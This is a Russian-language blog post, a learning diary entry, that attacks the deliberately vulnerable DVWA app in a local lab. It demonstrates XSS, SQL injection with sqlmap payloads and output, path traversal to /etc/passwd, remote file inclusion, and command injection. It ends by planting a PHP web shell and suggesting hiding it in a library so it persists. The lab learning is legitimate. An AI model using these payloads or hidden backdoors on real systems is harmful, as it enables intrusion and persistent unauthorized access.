Главная » Заметки » День 12. XSS, SQL-инъекции и выполнение команд на сервере Linux
День 12. XSS, SQL-инъекции и выполнение команд на сервере Linux
Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Все действия происходят на виртуальных машинах и внутри локальной сети автора. Спасибо!

Начну разбираться с межсайтовыми сценариями. На сегодняшний день, атаки межсайтовых сценариев (XSS) по-прежнему актуальны. Это такая атака, когда злоумышленник вводит вредоносные сценарии или код в запросы, отправляемые веб-приложением. На данный момент существует три типа XSS атаки.

  1. Stored XSS (Сохраненные XSS). XSS сохраняется, когда пользовательские данные хранятся на целевом сервере без проверки. Например, база данных, содержимое на сайте и комментарии.
  2. Reflected XSS (Отраженные XSS). XSS является отраженным, когда пользовательские данные в виде сообщения об ошибке возвращаются веб-приложением. Например, в результате поиска.
  3. DOM (Объектная модель документа) XSS. DOM определяет логическую структуру документов, способ доступа к ним и управления ими. То есть XSS находится внутри браузера.

Нам понадобится JavaScript и HTML.

Вчера у меня не получилось взломать DVWA при помощи Burp Suite. Сегодня еще раз попробовал. К списку паролей добавил «admin». После чего для пары admin/admin появился редирект не на login.php, а на index.php, т.е. авторизация прошла.

Снова возвращаемся к сегодняшнему дню. Авторизуемся на сайте DVWA в виртуальной машине OWASP. Перехожу в DVWA Security, выбираю значение low и нажимаю отправить. Теперь входные данные не проверяются.

Перехожу на вкладку XSS reflected и ввожу в поле:

<script>alert("Allows XSS")</script>

В принципе, все понятно.

SQL-инъекция

SQL-инъекция – атака на базу данных SQL, где код передается через какую-либо форму или запрос на сайте. Такая уязвимость до сих пор имеет место быть. В книге предлагается применить самую популярную инъекцию:

%' OR '1' = '1

Когда он встроится в запрос, получится:

'SELECT user_id, first_name, last_name FROM users WHERE user_id = %' OR '1'='1';

То есть поиск будет всегда истинным, так как 1 всегда равна 1. Далее более интересно. Будем использовать sqlmap для автоматизации.

Для начала соберем данные при помощи Burp Suite. Переходим на ту же страницу в DVWA (SQL Injection).

Далее вводим идентификатор пользователя, например, 1. Далее вводим команду в терминал с полученной сессией из Burp Suite:

$ sqlmap -u"http://192.168.56.108/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=vmijc2mbgophcvq43t7qmil834; security=low" -b --current-db --current-user

Параметр -u это целевой URL вместе с GET параметром. Параметр --cookie – для информации cookie, которую мы захватили с Burp. Параметр -b – отображение баннера базы данных. Параметры --current-db и --current-user для получения текущей базы и текущего пользователя, соответственно. Далее со всем соглашаемся по умолчанию. Результат сохранился в следующей папке: /home/kali/.local/share/sqlmap/output/192.168.56.108:

sqlmap identified the following injection point(s) with a total of 3725 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 8074=8074#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 4022 FROM(SELECT COUNT(*),CONCAT(0x71767a7071,(SELECT (ELT(4022=4022,1))),0x716b787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- GBYx&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5277 FROM (SELECT(SLEEP(5)))KSwK)-- HzOB&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x71767a7071,0x6b636d5753767a6a767677504c5963746952476b665164594f4a5467766d5a75494e6f4d5a466a75,0x716b787a71),NULL#&Submit=Submit
---
[03:29:03] [INFO] the back-end DBMS is MySQL
[03:29:03] [INFO] fetching banner
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner: '5.1.41-3ubuntu12.6-log'
[03:29:03] [INFO] fetching current user
current user: 'dvwa@%'
[03:29:03] [INFO] fetching current database
current database: 'dvwa'
[03:29:03] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'      

Из результата можно сделать вывод, что сервер развернут на Linux Ubuntu 10.04, версии PHP и Apache: PHP 5.3.2, Apache 2.2.14. Используется база данных MySQL. Текущая база данных dvwa и текущий пользователь dvwa.

Выполнение команд, обход каталогов и включение файлов

Инъекция команд – вид атаки, при которой находится уязвимость с возможностью запуска системных команд. Такое возможно, если пользовательский ввод не обрабатывается и передается в системную оболочку.

Под обходом каталога понимается возможность чтения файлов или каталогов за пределами обычного каталога веб-сервера.

Под уязвимостью включения файлов понимается возможность злоумышленнику загрузить файл, используя уязвимости. Такая уязвимость появляется, например, когда страница получает в качестве входных данных путь к файлу.

Открываем DVWA и переходим на вкладку File Inclusion. Обращаем внимание на URL:

http://192.168.56.108/dvwa/vulnerabilities/fi/?page=include.php

Используется GET параметр, чтобы подгрузить страницу include.php. Меняем ее на index.php. Ничего не произошло, потому что index.php в этом каталоге отсутствует. Теперь пробуем подняться по каталогу (при помощи последовательности ../):

http://192.168.56.108/dvwa/vulnerabilities/fi/?page=../../index.php

Главная страница успешно открылась. Значит возможно включение локального файла. Насколько я помню, по умолчанию Apache хранит свои файлы в каталоге /var/www/html/. А важная информация хранится в файле /etc/passwd и хэши паролей в /etc/shadow.

Теперь пробуем подняться еще выше по дереву каталога:

http://192.168.56.108/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

Тем самым мы получили содержимое файла passwd.

Попробуем атаку удаленного включения файлов (Remote File-Inclusion, RFI). Запускаем свой сервер атакующей машине:

service apache2 start

Написал простой скрипт, который просто выводит число 123. Далее подгружаем его, указав в адресную строку запущенный сервер:

http://192.168.56.108/dvwa/vulnerabilities/fi/?page=http://192.168.56.101/

Число 123 успешно вывелось на странице DVWA.

Выполнение команд

Из-за неправильной обработки пользовательских данных возможны другие уязвимости. Можно поискать приложение, принимающее ввод пользователя, например, логин в форме авторизации или форма поиска.

Открываем DVWA, далее вкладку «Command Execution». Пользовательский ввод передается команде ping. Попробуем пропинговать локальный хост. Все работает. При помощи двух амперсантов (&&) можно объединять команды в Linux. Например:

ping 192.168.56.101 && ping 127.0.0.1

Теперь попробуем в нашей форме вывести содержимое каталога:

127.0.0.1 && ls -a

Таким образом мы убедились, что пользовательский ввод не обрабатывается. Можно узнать какой пользователь выполняет команды:

127.0.0.1 && whoami

Теперь создадим бэкдор:

127.0.0.1 && echo "<?php system(\$_GET['cmd']) ?>" > backdoor.php

Если уязвимость будет исправлена, а наш файл backdoor.php не будет замечен (в больших проектах его не сложно запрятать в какую-нибудь библиотеку и назвать не так приметно), у нас всегда будет возможность выполнять команды на сервере:

http://192.168.56.108/dvwa/vulnerabilities/exec/backdoor.php?cmd=ls

На сегодня достаточно. Познакомился с XSS, SQL-инъекциями (и утилитой sqlmap), научился выполнять команды и обходить каталоги, если не обрабатывается пользовательский ввод.

Просмотров: 14
03.04.2022
Автор